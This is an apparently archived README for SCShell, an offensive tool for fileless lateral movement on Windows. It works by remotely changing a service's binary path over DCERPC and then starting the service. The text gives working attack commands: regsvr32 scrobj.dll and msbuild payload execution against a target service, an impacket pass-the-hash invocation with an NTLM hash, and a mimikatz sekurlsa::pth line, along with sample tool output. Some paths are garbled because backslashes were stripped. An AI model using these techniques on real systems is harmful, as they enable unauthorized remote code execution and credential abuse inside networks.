Posted by


Fileless lateral movement tool that relies on ChangeServiceConfigA to run command


SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.

The utility can be used remotely WITHOUT registering a service or creating a service. It also doesn’t have to drop any file on the remote system* (Depend on the technique used to execute)

How it work

Instead of creating a service it simply remotely open a service and modify the binary path name via the ChangeServiceConfigA API.

Then it starts the service.

Once the execution is completed the service binary path is reverted to the original one. The original service path is extracted using QueryServiceConfigA.

Everything is happening over DCERPC including the authentication.



The current build is written in C but I will port it to C# and PowerShell.

Usage:SCShell.exe target service payload domain username password

target can be set to local to run the payload locally

Remote executionSCShell.exe XblAuthManager "C:windowssystem32cmd.exe /c C:windowssystem32regsvr32.exe /s /n /u /i:// scrobj.dll" . administrastor Password

I recommend using C:windowssystem32cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.

You can also use a msbuild payloadSCShell.exe XblAuthManager "C:windowssystem32cmd.exe /C C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe C:payload.csproj" . administrator PasswordSCShell ***Trying to connect to was provided attempting to call LogonUserASC_HANDLE Manager 0x009ED250Opening XblAuthManagerSC_HANDLE Service 0x009ED1B0Service path was changed to C:windowssystem32cmd.exe /C C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe C:payload.csprojService was started.

I’m using the XblAuthManager as the target which is the Xbox Accessory Management Service

Passing the Hash is a python2 & 3 implementation of SCShell. Using impacket project it can easily be used to perform the same lateral movement using pass the hash.

Installationpip install impacket

Usage“`python DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecceImpacket v0.9.20 – Copyright 2019 SecureAuth Corporation

[*] Command need to use FULL path. No command output.SCShell>


You can use the C utility to pass the hash. By default the current process token will be used. You can set the current process token using standard pass the hash approach.

On the local systemsekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe

Then run the SCShell.exe within the newly created cmd.exe.

Compiling from source

The code was compiled on Windows using GCC Mingw compiler


Mr.Un1k0d3r RingZer0 Team

Tazz0 for the moral support

To restore the repository download the bundle


and run:

 git clone Mr-Un1k0d3r-SCShell_-_2019-11-20_02-20-49.bundle 

Uploader: Mr-Un1k0d3r
Upload date: 2019-11-20